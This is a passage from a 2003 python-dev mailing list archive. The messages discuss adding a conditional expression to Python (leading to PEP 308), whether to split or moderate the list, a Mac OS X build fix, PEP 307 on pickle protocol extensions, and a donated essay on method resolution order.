but the corresponding construct is just fine in Algol 68: if int sum := 0; for i to n do sum := x[i] od; sum > 0 then ... fi -- Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark From guido@python.org Fri Feb 7 14:41:49 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 09:41:49 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: Your message of "Fri, 07 Feb 2003 08:09:52 EST." <20030207130952.GC10095@cthulhu.gerg.ca> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <20030207130952.GC10095@cthulhu.gerg.ca> Message-ID: <200302071441.h17Efnm01815@odiug.zope.com> > Yes! My only experience with Algol 68 was in an undergrad programming > language survey course about 10 years ago, and I remember thinking at > the time that they really got it right back in '68. ABC was designed by some folks who also worked on Algol 68. I assure you that some of the differences between Algol 68 and ABC came from bitter experience with the former. > I also have a dim recollection of pestering Guido about the > statement/expression divide once, and he insisted that it was a > feature. I respectfully disagree; I think we're all grown-ups here and > we can decide between ourselves when an expression is really a > statement. This is one thing that I think C got right (although > "if (x = ...)" is an abomination that should, at the very least, > generate a stern warning). Huh? Apart from the one thing you frown upon here, Python's distinction between statements and expressions is pretty much the same as that in C! --Guido van Rossum (home page: http://www.python.org/~guido/) From oren-py-d@hishome.net Fri Feb 7 14:59:35 2003 From: oren-py-d@hishome.net (Oren Tirosh) Date: Fri, 7 Feb 2003 09:59:35 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061808.h16I8jM26135@odiug.zope.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> Message-ID: <20030207145935.GA2943@hishome.net> On Thu, Feb 06, 2003 at 01:08:44PM -0500, Guido van Rossum wrote: > > Guido> I think I've seen the suggestion > > > > Guido> x = (y if y>z else z) > > > > Guido> :-) > > > > That's not bad, even though it looks Perlish :-) > > > > It has the advantage of looking like a list comprehension. > > > > I presume the parentheses would be mandatory. > > Maybe I should write a PEP and let the folks in c.l.py vote on it, > just for fun. (I expect to get about as many yes votes as no votes. :-) Oh dear. If you are really going to do these these cutesy English-like expressions I'd have to resurrect my old proposal of: if CONDITION for some NAME in ITERABLE: if CONDITION for every NAME in ITERABLE: if CONDITION for no NAME in ITERABLE: Please, dont make me do that ;-) Oren From guido@python.org Fri Feb 7 15:06:41 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 10:06:41 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: Your message of "Fri, 07 Feb 2003 09:59:35 EST." <20030207145935.GA2943@hishome.net> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> Message-ID: <200302071506.h17F6g902453@odiug.zope.com> > Oh dear. If you are really going to do these these cutesy English-like > expressions I'd have to resurrect my old proposal of: > > if CONDITION for some NAME in ITERABLE: > if CONDITION for every NAME in ITERABLE: > if CONDITION for no NAME in ITERABLE: > > Please, dont make me do that ;-) An if-expression is frequently requested, and I expect people will continue to ask for it until I add one :-) Who (besides you) has ever asked for generalized quantifiers? They were in ABC, with slightly different syntax: >>> IF EACH x IN {3; 6; 9} HAS x mod 3 = 0: WRITE "Yes" Yes >>> But they weren't useful enough IMO to bother incorporating at the time. --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Fri Feb 7 15:57:11 2003 From: skip@pobox.com (Skip Montanaro) Date: Fri, 7 Feb 2003 09:57:11 -0600 Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X? In-Reply-To: References: <2mel6mok20.fsf@starship.python.net> Message-ID: <15939.55127.701122.386388@montanaro.dyndns.org> Skip> I think the build worked fine for me back in October (at least I Skip> don't remember having to execute "make BUILDEXE=.exe". It seems Skip> something changed in the intervening time. Michael> Hmm. Looking at CVS suggests that 2.2 sets BUILDEXE correctly Michael> if you are building in-tree, but not out of tree. Could that Michael> be the difference? Jack> Ah, that's the problem! Building out-of-tree doesn't work on the Jack> 2.2.X branch. Jack> This was in patch #557719, which was checked in as Makefile.pre.in Jack> 1.86. I backported just the tiny bit necessary to get BUILDEXE set properly. Thanks for the clues. Skip From Jack.Jansen@cwi.nl Fri Feb 7 16:05:21 2003 From: Jack.Jansen@cwi.nl (Jack Jansen) Date: Fri, 7 Feb 2003 17:05:21 +0100 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net> Message-ID: On Friday, Feb 7, 2003, at 13:36 Europe/Amsterdam, Guido van Rossum wrote: >> So, crazy idea for the morning. Split that sentence up: have one >> list (probably the existing python-dev) where the future of the >> language is discussed. Have another (python-implementors) where >> anything that does not have a short-to-medium term effect on the >> code in Python CVS is strictly forbidden. Can this be made to work? >> Or maybe the last month or so has been the exception and this list >> will just naturally reqcquire some of it's focus. > > *If* we were to split this up, I'd rather create a new list for wild > and crazy ideas. But I'm -0 on splitting -- it wouldn't help *me* > because I'd want to be on both lists anyway, and I'm not sure how many > others are helped by it either -- I imagine that most people would > want to be on both lists. I'm +1 on the two lists, even though I would be on both lists too. However, if the load on python-implementors went down I would actually be able to always read that first thing in the morning (afternoon/evening/night:-), so I wouldn't miss any important messages on 2.3aX distribution building started, or sourceforge downtime, or known problems in the test suite, while I would read python-dev later. -- Jack Jansen, , http://www.cwi.nl/~jack If I can't dance I don't want to be part of your revolution -- Emma Goldman From lalo@laranja.org Fri Feb 7 16:11:08 2003 From: lalo@laranja.org (Lalo Martins) Date: Fri, 7 Feb 2003 14:11:08 -0200 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net> References: <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030207161108.GN6723@laranja.org> Mailman has a nice feature named "topics"; if we could mark short-term discussion with a special keyword, then people would be able to subscribe just to this subset of the list if they wish (and other people would be able to filter it to a different mailbox usng procmail or something similar, so that short-term stuff is read in real-time and blue-sky is read, for example, in the weekend). Personally, like Guido, I'm +0 since I find blue-sky stuff as interesting as short-term. []s, |alo +---- -- Those who trade freedom for security lose both and deserve neither. -- http://www.laranja.org/ mailto:lalo@laranja.org pgp key: http://www.laranja.org/pessoal/pgp Eu jogo RPG! (I play RPG) http://www.eujogorpg.com.br/ GNU: never give up freedom http://www.gnu.org/ From pedronis@bluewin.ch Fri Feb 7 16:21:10 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Fri, 7 Feb 2003 17:21:10 +0100 Subject: [Python-Dev] Trinary Operators References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> Message-ID: <055b01c2cec4$ed430720$6d94fea9@newmexico> From: "Guido van Rossum" > > Oh dear. If you are really going to do these these cutesy English-like > > expressions I'd have to resurrect my old proposal of: > > > > if CONDITION for some NAME in ITERABLE: > > if CONDITION for every NAME in ITERABLE: > > if CONDITION for no NAME in ITERABLE: > > > > Please, dont make me do that ;-) > > An if-expression is frequently requested, and I expect people will > continue to ask for it until I add one :-) > > Who (besides you) has ever asked for generalized quantifiers? They > were in ABC, with slightly different syntax: > I would not dislike to have expression forms equivalent to applications of def every(pred,l): for x in l: if not pred(x): return False return True def some(pred,l): for x in in l: if pred(x): return True return False def such(pred,l,otherwise=None): for x in in l: if pred(x): return x return otherwise as list comprehension is equivalent to map and filter. From tjreedy@udel.edu Fri Feb 7 16:29:34 2003 From: tjreedy@udel.edu (Terry Reedy) Date: Fri, 7 Feb 2003 11:29:34 -0500 Subject: [Python-Dev] Re: Trinary Operators References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> Message-ID: "Guido van Rossum" wrote in message news:200302071506.h17F6g902453@odiug.zope.com... > An if-expression is frequently requested, and I expect people will > continue to ask for it until I add one :-) In the past month alone, there have been threee separate threads on clp started, I believe, by three separate people asking for or about such. I believe that it is by far the most freqenctly asked-for new feature in that arena. TJR From tjreedy@udel.edu Fri Feb 7 16:37:07 2003 From: tjreedy@udel.edu (Terry Reedy) Date: Fri, 7 Feb 2003 11:37:07 -0500 Subject: [Python-Dev] Re: Re: How to lose potential users/developers References: <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net> Message-ID: "Guido van Rossum" wrote in message news:200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net. .. > want to be on both lists. Keeping traffic truly separated would > require more policing of the list than I'd feel comfortable with. I'm > already uncomfortable with the tone of the messages that are sometimes > sent in reply to incidental "inappropriate" postings by first-time > posters. I have sometimes thought that py-dev would be improved by a mechanism for moderation of first-time posts. Spam would be blocked and 'inappropriate' first posts *politely* redirected to clp, the bug list, or the patch list with carefully prewritten messages. On the other hand, I would probably have redirected the ternary op post and missed the surprise of Guido apparently giving serious consideration to an addition. Terry J. Reedy From guido@python.org Fri Feb 7 16:35:44 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 11:35:44 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: Your message of "Fri, 07 Feb 2003 11:29:34 EST." References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> Message-ID: <200302071635.h17GZiH08209@odiug.zope.com> > In the past month alone, there have been threee separate threads on > clp started, I believe, by three separate people asking for or about > such. I believe that it is by far the most freqenctly asked-for new > feature in that arena. OK, I'll write a PEP (I doubt waiting for Eric is gonna pay off). But as skeptical as I am (see what I added to FAQ 4.16), I'll take it for a vote on c.l.py and if it doesn't get a clear majority vote (and it'll be up to the c.l.py folks to define what that is :-), it'll remain rejected forever. --Guido van Rossum (home page: http://www.python.org/~guido/) From pyth@devel.trillke.net Fri Feb 7 16:47:25 2003 From: pyth@devel.trillke.net (holger krekel) Date: Fri, 7 Feb 2003 17:47:25 +0100 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Fri, Feb 07, 2003 at 07:36:04AM -0500 References: <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030207174725.W1706@prim.han.de> Guido van Rossum wrote: > > So, crazy idea for the morning. Split that sentence up: have one > > list (probably the existing python-dev) where the future of the > > language is discussed. Have another (python-implementors) where > > anything that does not have a short-to-medium term effect on the > > code in Python CVS is strictly forbidden. Can this be made to work? > > Or maybe the last month or so has been the exception and this list > > will just naturally reqcquire some of it's focus. > > *If* we were to split this up, I'd rather create a new list for wild > and crazy ideas. But I'm -0 on splitting -- it wouldn't help *me* > because I'd want to be on both lists anyway, and I'm not sure how many > others are helped by it either -- I imagine that most people would > want to be on both lists. Keeping traffic truly separated would > require more policing of the list than I'd feel comfortable with. I'm > already uncomfortable with the tone of the messages that are sometimes > sent in reply to incidental "inappropriate" postings by first-time > posters. I am one of those developers who hasn't yet contributed much to Python core and still took the freedom to discuss wild ideas (based on an actually working patch which is currently tested out by a 3D-company, though). I am willing to start working on fixing bugs but i'd appreciate occasionally discussing blue-sky ideas. Not reading certain threads is quite easy with appropriate mail/news readers, anyway. Actually, Guido kind of encouraged quite some people by saying that he is exploring certain 'thunk' and timely-finalization constructs. I am glad that Guido brings up the issue of 'tone of redirection messages' and support the idea of doing it in the friendliest way possible. If someone insists and disregards comments then that is a different matter, of course. IMO c.l.py neticens still manage to stay friendly although happen dailiy. And that is a very good thing which makes the python community quite unique. holger From aahz@pythoncraft.com Fri Feb 7 16:52:26 2003 From: aahz@pythoncraft.com (Aahz) Date: Fri, 7 Feb 2003 11:52:26 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302071635.h17GZiH08209@odiug.zope.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <200302071635.h17GZiH08209@odiug.zope.com> Message-ID: <20030207165226.GA21789@panix.com> On Fri, Feb 07, 2003, Guido van Rossum wrote: > > OK, I'll write a PEP (I doubt waiting for Eric is gonna pay off). > > But as skeptical as I am (see what I added to FAQ 4.16), I'll take it > for a vote on c.l.py and if it doesn't get a clear majority vote (and > it'll be up to the c.l.py folks to define what that is :-), it'll > remain rejected forever. Um. That's a tough bar, particularly given that some people are in favor of a ternary operator, but only if it has a "reasonable" syntax. I'm going to want separate votes for "should there be a ternary operator?" and "what syntax should it have?" If there's a clear majority for the first part, but not the second part, I'd like instead of being rejected forever, to be put on hold for a minimum of a year. That reasonable? -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From barry@python.org Fri Feb 7 16:54:29 2003 From: barry@python.org (Barry A. Warsaw) Date: Fri, 7 Feb 2003 11:54:29 -0500 Subject: [Python-Dev] Re: Re: How to lose potential users/developers References: <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <15939.58565.396337.151867@gargle.gargle.HOWL> >>>>> "TR" == Terry Reedy writes: TR> I have sometimes thought that py-dev would be improved by a TR> mechanism for moderation of first-time posts. Spam would be TR> blocked and 'inappropriate' first posts *politely* redirected TR> to clp, the bug list, or the patch list with carefully TR> prewritten messages. On the other hand, I would probably have TR> redirected the ternary op post and missed the surprise of TR> Guido apparently giving serious consideration to an addition. This would be possible once I upgrade python-dev to Mailman 2.1, but it would require diligent moderators. One of the reasons we opened up subscriptions was because no one could spend the time gardening the admin requests. -Barry From guido@python.org Fri Feb 7 17:05:05 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 12:05:05 -0500 Subject: [Python-Dev] Re: Re: How to lose potential users/developers In-Reply-To: Your message of "Fri, 07 Feb 2003 11:37:07 EST." References: <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <200302071705.h17H55E08953@odiug.zope.com> > I have sometimes thought that py-dev would be improved by a mechanism > for moderation of first-time posts. Spam would be blocked and > 'inappropriate' first posts *politely* redirected to clp, the bug > list, or the patch list with carefully prewritten messages. On the > other hand, I would probably have redirected the ternary op post and > missed the surprise of Guido apparently giving serious consideration > to an addition. If Barry wouldn't mind upgrading python-dev to Mailman 2.1, I'm all for moderating new subscribers and non-subscribers. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Fri Feb 7 17:10:44 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 12:10:44 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: Your message of "Fri, 07 Feb 2003 11:52:26 EST." <20030207165226.GA21789@panix.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <200302071635.h17GZiH08209@odiug.zope.com> <20030207165226.GA21789@panix.com> Message-ID: <200302071710.h17HAil08991@odiug.zope.com> > Um. That's a tough bar, particularly given that some people are in > favor of a ternary operator, but only if it has a "reasonable" syntax. > I'm going to want separate votes for "should there be a ternary > operator?" and "what syntax should it have?" If there's a clear > majority for the first part, but not the second part, I'd like instead > of being rejected forever, to be put on hold for a minimum of a year. I think you can't separate the two votes so easily. If I vote for a ternary operator, but then something with an ugly syntax wins the design contest, I may wish I had voted against in the first place. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Fri Feb 7 17:33:36 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 12:33:36 -0500 Subject: [Python-Dev] For review: PEP 308 - If-then-else expression Message-ID: <200302071733.h17HXaf09783@odiug.zope.com> Given that if-then-else expressions keep being requested, I hereby put forward a proposal. I am neutral on acceptance of the proposal; I'd like the c.l.py community to accept or reject it or come up with a counter-proposal. Please understand that I don't have a lot of time to moderate the discussion; I'll just wait for the community to discuss the proposal and agree on some way to count votes, then count them. http://www.python.org/peps/pep-0308.html PLEASE DON'T DISCUSS THIS PROPOSAL ON PYTHON-DEV! It's up to c.l.py now. --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Fri Feb 7 17:36:49 2003 From: skip@pobox.com (Skip Montanaro) Date: Fri, 7 Feb 2003 11:36:49 -0600 Subject: [Python-Dev] contributing documentation (fwd) Message-ID: <15939.61105.511461.459313@montanaro.dyndns.org> --fH3gxajBlh Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit FYI. I'll take a look at it, but should we just reference it or should it be included in the site? (Also included python-dev, since there are probably people there who will be better review candidates.) Skip --fH3gxajBlh Content-Type: message/rfc822 Content-Description: forwarded message Content-Transfer-Encoding: 7bit CONTENT-TRANSFER-ENCODING: quoted-printable Content-Type: text/plain; charset=ISO-8859-1 Return-Path: Received: from localhost [127.0.0.1] by localhost with POP3 (fetchmail-6.1.0) for skip@localhost (single-drop); Fri, 07 Feb 2003 11:27:04 -0600 (CST) Received: from dolly1.pobox.com (dolly1.pobox.com [207.106.49.22]) by manatee.mojam.com (8.12.1/8.12.1) with ESMTP id h17HQTQW032463 for ; Fri, 7 Feb 2003 11:26:29 -0600 Received: from dolly1.pobox.com (localhost.localdomain [127.0.0.1]) by dolly1.pobox.com (Postfix) with ESMTP id 517722BEE4 for ; Fri, 7 Feb 2003 12:26:29 -0500 (EST) Delivered-To: skip@pobox.com Received: from mail.python.org (mail.python.org [12.155.117.29]) by dolly1.pobox.com (Postfix) with ESMTP id 1D2352BF12 for ; Fri, 7 Feb 2003 12:26:29 -0500 (EST) Received: from localhost.localdomain ([127.0.0.1] helo=mail.python.org) by mail.python.org with esmtp (Exim 4.05) id 18hCGZ-0002of-00; Fri, 07 Feb 2003 12:26:19 -0500 Path: news.baymountain.com!ash.uu.net!dca.uu.net!logbridge.uoregon.edu!newsfeed.stanford.edu!postnews1.google.com!not-for-mail Newsgroups: comp.lang.python Organization: http://groups.google.com/ Lines: 12 Message-ID: <2259b0e2.0302070924.2c045eaf@posting.google.com> NNTP-Posting-Host: 136.142.23.56 X-Trace: posting.google.com 1044638684 960 127.0.0.1 (7 Feb 2003 17:24:44 GMT) X-Complaints-To: groups-abuse@google.com NNTP-Posting-Date: 7 Feb 2003 17:24:44 GMT Xref: news.baymountain.com comp.lang.python:204416 Errors-To: python-list-admin@python.org X-BeenThere: python-list@python.org X-Mailman-Version: 2.0.13 (101270) Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: General discussion list for the Python programming language List-Unsubscribe: , List-Archive: X-Spambayes-Debug: '*H*': 1.00; '*S*': 0.00; 'message-id:@posting.google.com': 0.00; 'python': 0.00; 'header:X-Complaints-To:1': 0.01; 'corrections': 0.01; 'url:python-list': 0.02; 'from:addr:pitt.edu': 0.02; 'url:listinfo': 0.02; 'to:addr:python-list': 0.02; 'url:python': 0.02; 'simionato': 0.02; 'url:mailman': 0.02; '2.3': 0.03; 'from:addr:mis6': 0.03; 'from:name:michele simionato': 0.03; 'seems': 0.05; 'to:addr:python.org': 0.05; 'url:phyast': 0.05; 'url:pitt': 0.05; 'url:~micheles': 0.05; 'header:Organization:1': 0.06; 'c.l.p.': 0.07; 'order"': 0.07; 'url:org': 0.07; 'header:Errors-To:1': 0.07; 'url:mail': 0.09; 'subject:skip:d 10': 0.10; 'physics': 0.10; 'url:edu': 0.11; 'quite': 0.15; 'astronomy': 0.19; 'added': 0.19; 'some': 0.25; 'resolution': 0.26; 'hall': 0.27; 'should': 0.29; 'what': 0.31; 'pittsburgh': 0.31; 'header:Message-ID:1': 0.34; 'michele': 0.34; 'header:Received:5': 0.35; 'method': 0.37; 'foundation': 0.37; 'allen': 0.38; 'stable': 0.38; 'essay': 0.40; 'would': 0.40; 'software': 0.62; '210': 0.62; 'usa': 0.62; 'feedback': 0.62; '"the': 0.63; 'donate': 0.64; 'site': 0.66; 'url:html': 0.68; 'url:www': 0.69; 'department': 0.74; 'weeks,': 0.80 From: mis6@pitt.edu (Michele Simionato) Sender: python-list-admin@python.org To: python-list@python.org Subject: contributing documentation Date: 7 Feb 2003 09:24:44 -0800 X-Spambayes-Classification: ham; 0.00 My essay on "The Python 2.3 Method Resolution Order" has been on my sit= e http://www.phyast.pitt.edu/~micheles/mro.html for a few weeks, I have added some corrections based on the feedback fr= om people on c.l.p. and it seems quite stable now. I would like to donate it to the Python Software Foundation and have it= in http://www.python.org/ What should I do ? Michele Simionato Department of Physics and Astronomy University of Pittsburgh 210 Allen Hall Pittsburgh PA 15260, USA --=20 http://mail.python.org/mailman/listinfo/python-list --fH3gxajBlh-- From mwh@python.net Fri Feb 7 17:38:38 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 07 Feb 2003 17:38:38 +0000 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: ("Terry Reedy"'s message of "Fri, 7 Feb 2003 11:29:34 -0500") References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> Message-ID: <2mel6k56u9.fsf@starship.python.net> "Terry Reedy" writes: > "Guido van Rossum" wrote in message > news:200302071506.h17F6g902453@odiug.zope.com... > >> An if-expression is frequently requested, and I expect people will >> continue to ask for it until I add one :-) > > In the past month alone, there have been threee separate threads on > clp started, I believe, by three separate people asking for or about > such. I believe that it is by far the most freqenctly asked-for new > feature in that arena. OTOH, if I've been counting properly, there have been almost equally many asking how to kill a thread from another thread. Some questions just don't go away. Cheers, M. -- I'm okay with intellegent buildings, I'm okay with non-sentient buildings. I have serious reservations about stupid buildings. -- Dan Sheppard, ucam.chat (from Owen Dunn's summary of the year) From barry@python.org Fri Feb 7 18:03:40 2003 From: barry@python.org (Barry A. Warsaw) Date: Fri, 7 Feb 2003 13:03:40 -0500 Subject: [Python-Dev] Re: Re: How to lose potential users/developers References: <2msmv0bbk4.fsf@starship.python.net> <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net> <200302071705.h17H55E08953@odiug.zope.com> Message-ID: <15939.62716.858714.853057@gargle.gargle.HOWL> >>>>> "GvR" == Guido van Rossum writes: GvR> If Barry wouldn't mind upgrading python-dev to Mailman 2.1, GvR> I'm all for moderating new subscribers and non-subscribers. I'll do it after I release 2.1.1, which may be tonight. -Barry From guido@python.org Fri Feb 7 18:33:23 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 13:33:23 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol Message-ID: <200302071833.h17IXNl11929@odiug.zope.com> I'm assuming a fair number of people have been following this already in the checkins list; I think it's ready for review on python-dev: http://www.python.org/peps/pep-0307.html Quoting the introduction: Pickling new-style objects in Python 2.2 is done somewhat clumsily and causes pickle size to bloat compared to classic class instances. This PEP documents a new pickle protocol in Python 2.3 that takes care of this and many other pickle issues. There are two sides to specifying a new pickle protocol: the byte stream constituting pickled data must be specified, and the interface between objects and the pickling and unpickling engines must be specified. This PEP focuses on API issues, although it may occasionally touch on byte stream format details to motivate a choice. The pickle byte stream format is documented formally by the standard library module pickletools.py (already checked into CVS for Python 2.3). This PEP attempts to fully document the interface between pickled objects and the pickling process, highlighting additions by specifying "new in this PEP". (The interface to invoke pickling or unpickling is not covered fully, except for the changes to the API for specifying the pickling protocol to picklers.) Please don't pass this on to c.l.py or python-list yet until we've gathered feedback from python-dev! --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Fri Feb 7 18:46:37 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 13:46:37 -0500 Subject: [Python-Dev] contributing documentation (fwd) In-Reply-To: Your message of "Fri, 07 Feb 2003 11:36:49 CST." <15939.61105.511461.459313@montanaro.dyndns.org> References: <15939.61105.511461.459313@montanaro.dyndns.org> Message-ID: <200302071846.h17IkbS11986@odiug.zope.com> > FYI. I'll take a look at it, but should we just reference it or should it > be included in the site? > > (Also included python-dev, since there are probably people there who will be > better review candidates.) > > Skip > From: mis6@pitt.edu (Michele Simionato) > To: python-list@python.org > Subject: contributing documentation > Date: 7 Feb 2003 09:24:44 -0800 > > My essay on "The Python 2.3 Method Resolution Order" has been on my site > http://www.phyast.pitt.edu/~micheles/mro.html > for a few weeks, I have added some corrections based on the feedback from > people on c.l.p. and it seems quite stable now. > I would like to donate it to the Python Software Foundation and have it in > http://www.python.org/ > > What should I do ? > > > Michele Simionato Department of Physics and Astronomy > University of Pittsburgh 210 Allen Hall Pittsburgh PA 15260, USA > -- > http://mail.python.org/mailman/listinfo/python-list Wow. I've only read a little bit so far, but the paper seems very clear (I think I may learn something about C3 myself :-) and well-written. I also enjoy the ASCII art. I'd like to link to this from the Python 2.3 page (http://python.org/2.3/). Michele, thanks for writing this! Do you mind if I link this from the above-mentioned page? --Guido van Rossum (home page: http://www.python.org/~guido/) From aahz@pythoncraft.com Fri Feb 7 19:00:48 2003 From: aahz@pythoncraft.com (Aahz) Date: Fri, 7 Feb 2003 14:00:48 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: <200302071833.h17IXNl11929@odiug.zope.com> References: <200302071833.h17IXNl11929@odiug.zope.com> Message-ID: <20030207190047.GA16810@panix.com> I'm mildly concerned about giving extension opcodes specifically to "Zope 3". Is there some reason we shouldn't just make that "Zope"? -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From guido@python.org Fri Feb 7 19:34:20 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 14:34:20 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: Your message of "Fri, 07 Feb 2003 14:00:48 EST." <20030207190047.GA16810@panix.com> References: <200302071833.h17IXNl11929@odiug.zope.com> <20030207190047.GA16810@panix.com> Message-ID: <200302071934.h17JYKF12138@odiug.zope.com> > I'm mildly concerned about giving extension opcodes specifically to > "Zope 3". Is there some reason we shouldn't just make that "Zope"? I doubt that Zope 2 will ever be using pickle protocol 2. Anyway, the class names are all different, so Zope 2 and Zope 3 would require different extension ranges. --Guido van Rossum (home page: http://www.python.org/~guido/) From gsw@agere.com Fri Feb 7 19:37:57 2003 From: gsw@agere.com (Gerald S. Williams) Date: Fri, 7 Feb 2003 14:37:57 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <20030207170008.19146.50825.Mailman@mail.python.org> Message-ID: To me, the major problem with the (a and [b] or [c])[0] solution shown in the FAQ is that it's not immediately clear what you are doing. A more likely spelling of that solution is: def ifelse(result): return result[0] ... x1 = ifelse(a and [x] or [y]) x2 = ifelse(a and [x] or b and [y] or [z]) x3 = ifelse(a and [x] or b and [y] or c and ...) The q() function solution shown there doesn't extend as nicely and forces you to add "lambda:" if you don't want both alternatives evaluated. -Jerry From guido@python.org Fri Feb 7 19:53:50 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 14:53:50 -0500 Subject: [Python-Dev] contributing documentation (fwd) In-Reply-To: Your message of "Fri, 07 Feb 2003 11:36:49 CST." <15939.61105.511461.459313@montanaro.dyndns.org> References: <15939.61105.511461.459313@montanaro.dyndns.org> Message-ID: <200302071953.h17JroO12377@odiug.zope.com> Michele's paper is now up on the website: http://python.org/2.3/mro.html. Nice work, Michele! --Guido van Rossum (home page: http://www.python.org/~guido/) From aahz@pythoncraft.com Fri Feb 7 19:49:55 2003 From: aahz@pythoncraft.com (Aahz) Date: Fri, 7 Feb 2003 14:49:55 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: <200302071934.h17JYKF12138@odiug.zope.com> References: <200302071833.h17IXNl11929@odiug.zope.com> <20030207190047.GA16810@panix.com> <200302071934.h17JYKF12138@odiug.zope.com> Message-ID: <20030207194955.GA17026@panix.com> On Fri, Feb 07, 2003, Guido van Rossum wrote: > Aahz: >> >> I'm mildly concerned about giving extension opcodes specifically to >> "Zope 3". Is there some reason we shouldn't just make that "Zope"? > > I doubt that Zope 2 will ever be using pickle protocol 2. > > Anyway, the class names are all different, so Zope 2 and Zope 